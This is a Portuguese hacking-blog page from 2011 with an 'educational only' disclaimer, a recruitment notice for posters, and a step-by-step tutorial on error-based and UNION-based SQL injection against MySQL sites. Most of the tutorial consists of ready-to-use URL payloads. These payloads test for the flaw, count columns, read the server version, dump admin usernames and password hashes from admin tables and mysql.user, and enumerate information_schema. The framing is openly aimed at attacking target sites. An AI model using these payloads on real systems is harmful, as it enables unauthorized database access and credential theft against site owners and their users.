Seja Bem Vindo!

1-Não faço parceria com sites de pornografia, ou que contenha conteúdo pornográfico implícito assim como racismo.

2-Todas as Informações Contidas Neste Site São de Finalidade Única e Exclusivamente Educativa. O Site Evolução Hacker não se Responsabiliza pelo Uso Indevido destas Informações. Se Não Concordam com as Afirmações Acima Descritas, Por Favor não Prosseguir com a Visualização do Site.

3-Todos os links que se encontram no Site estão hospedados na Internet.

4-Qualquer programa protegido por algum tipo de lei deve permanecer, no máximo, 24 horas no Nosso computador.

5-A aquisição desses arquivos pela Internet é de única e exclusiva responsabilidade do utilizador..

6-O dono, webmaster ou qualquer outra pessoa que tenha relacionamento com a produção do Site não tem responsabilidade alguma sobre os arquivos que o utilizadores venhas a descarregar e qual a utilidade que lhe vai dar..

7-Caso tenham alguma dúvida quanto a instalação ou utilização do(s) programa(s) aqui apresentados, recomendo que procurem ajuda de alguém mais experiente, não fornecerei nenhuma explicação em especial.

8-Para parceria. Desde que Não Afecte o Ponto 1, Bastará Adicionem o meu Banner e Avisarem na CBOX

Eu Aceito os Termos!

Text

Evolução Hacker V7.0

Estamos precisando de post
adores
você que entende do assunto entre em contato com
o nosso Msn hackerdarkfbii@hotmail.com

PARA VC SER O NOVO(A) POSTADOR(A) DO Site VC PRECISA DEIXAR UM COMENTÁRIO COM O SEU NOME :_________________ E O SEU ENDEREÇO DE E-MAIL:______________________. E EXPLICANDO PQ VC QUER SER O NOVO(A) POSTADOR(A) DO Site

OBS : ESCOLHEREMOS O NOVO(A) POSTADOR(A) DEPENDENDO DA EXPLICAÇÃO .

Atenciosamente: [ADM Evolução Hacker]

.

..

terça-feira, 18 de janeiro de 2011

Download - Tutorial SQL Injection (MySQL)

Compare Pre�os: Tutorial SQL Injection (MySQL)


Neste tutorial é feito uma descrição de como utilizar o Sql Injection para obter algumas informações.
Primeiro: O que é Sql Injection?
É uma das vulnerabilidade mais comuns actualmente. Esta vulnerabilidade permite ao atacante executar consultas à base de dados inserindo querys (comandos Sql) na url do site obtendo, assim, informações confidenciais.

1 – Sql Injection (clássico ou baseado em erros).
Medidas adoptadas para explorar a vulnerabilidade.

A) Verificar a Vulnerabilidade.
Abaixo um exemplo qualquer para análise da vulnerabilidade. O link fictício mostra uma página qualquer de um site, imaginemos que seja uma página de um fórum hacker lixo de invasão.

http://www.site.com/news.php?id=5

Para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ‘ ). Abaixo é mostrado a forma como a url ficará.

http://www.site.com/news.php?id=5'

Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the...

O erro acima diz que você possui um erro na síntaxe da consulta Sql e pede para verificar o manual correspondente ao SGBD que está a ser utilizado. “Até parece que é o administrador do site”
Agora que verificamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Iremos ao passo seguinte.

B) – Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.
Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY.

Mas como utilizar este comando Sql?
Simples! Ao final da url adicionem o comando order by que vai adicionar uma sequência de Colunas/Tabelas, ou seja, você pode accionar a coluna correspondente. Caso queiram olhar a coluna 1, ordenem assim:

http://www.site.com/news.php?id=5 order by 1

Se não aparecer nenhum erro é por que esta Coluna/Tabela número 1 existe. Lembrem-se que nesta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro informando que a Coluna/Tabela é inexistente na base de dados.

http://www.site.com/news.php?id=5 order by 1/* <-- Sem erro
http://www.site.com/news.php?id=5 order by 2/* <-- Sem erro
http://www.site.com/news.php?id=5 order by 3/* <-- Sem erro
http://www.site.com/news.php?id=5 order by 4 <-- Com erro

O exemplo acima, é atribuido Colunas/Tabelas (1..2..3..4), no entanto, é mencionado erro na Coluna/Tabela 4. Conclui-se então que esta Coluna/Tabela é inexistente e que a base de dados possui apenas 3 Colunas/Tabelas.

C) – Utilizando a função UNION.
Esta função poderosa é responsável por unir vários dados localizados em Colunas/Tabelas diferentes.

Vamos utilizar o exemplo abaixo para melhor exemplificar.
http://www.site.com/news.php?id=5 union all select 1,2,3

Explicando a Sql:
O exemplo acima vai possibilitar ao “Injectador” visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.
...?id ... union all select 1,2,3

Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.site.com/news.php. Está e a ordem que devem atribui ao comando colocado na url do site.

D) – Descobrindo a versão do SGBD (MySql).
http://www.site.com/news.php?id=5 union all select 1,2,3

Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes na base de dados. Agora para visualizar a versão da base de dados é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.

http://www.site.com/news.php?id=5 union all select 1,@@version,3

Caso não der certo, recebem uma mensagem de erro semelhante a esta:
"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

Para resolver este erro necessitamos utilizar a função convert(). Exemplo abaixo:
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/

Ou então as funções hex() e unhex();
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/

Com os procedimentos acima, conseguem achar a versão do SGBD MySql.

E) – Obtendo o nome da Coluna/Tabela.
Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:
Geralmente os DBA’s (Administradores de Base de Dados) utilizam nomes comuns como padronização para as suas Colunas/Tabelas como:

user, utilizador, admin, member, membro, password, passwd, pwd, user_name

Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver a ser utilizada.
Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin

Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do utilizador admin”.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin

Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/

Acima, observe que a consulta começa a ficar refinada: “Mostre-me os valores Coluna/Tabelas 1, o nome do utilizador e 3 do utilizador admin”. Ou seja, suponha que o DBA tenha criado uma base de dados onde separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.

http://www.site.com/news.php?id=5 union all select 1,username, password from admin

Caso a consulta der certo, no ecran aparecerá o nome do utilizador e a senha. Esta senha aparecer no ecran tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvida.

Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Dependendo do campo, fica a seu critério inserir em hexadecimal (0×3a) ou utilizando o padrão Ascii (char(58)).
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

Já aparecerá os valores com o nome do utilizador administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..

Dica: Quando está difícil para achar o nome da Coluna/Tabela, é sempre bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

F) – MySql 5.
Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.

Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas da base de dados. É este arquivo que será o nosso alvo.
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.

Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.
Observe abaixo que é colocado como limite 0, 1.
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

Dica: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de vocês, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então deveriam acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.

Espero que tenham entendido esta parte.
Para obter o nome das colunas, também é utilizada a mesma lógica. Só que agora no arquivo information_schema.columns.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos utilizador pode-se fazer a consulta abaixo:
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/

Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de utilizadores.
Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

Acima simplesmente pedimos para mostrar o usuário, a senha e o email.
example: admin:hash:whatever@blabla.com

Isto é um exemplo de Sql Injection. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql. Não esquecer que nada cai do céu, pelo facto estejam sempre em aprendizagem para que possam sempre ir progredindo.

0 comentários:

Postar um comentário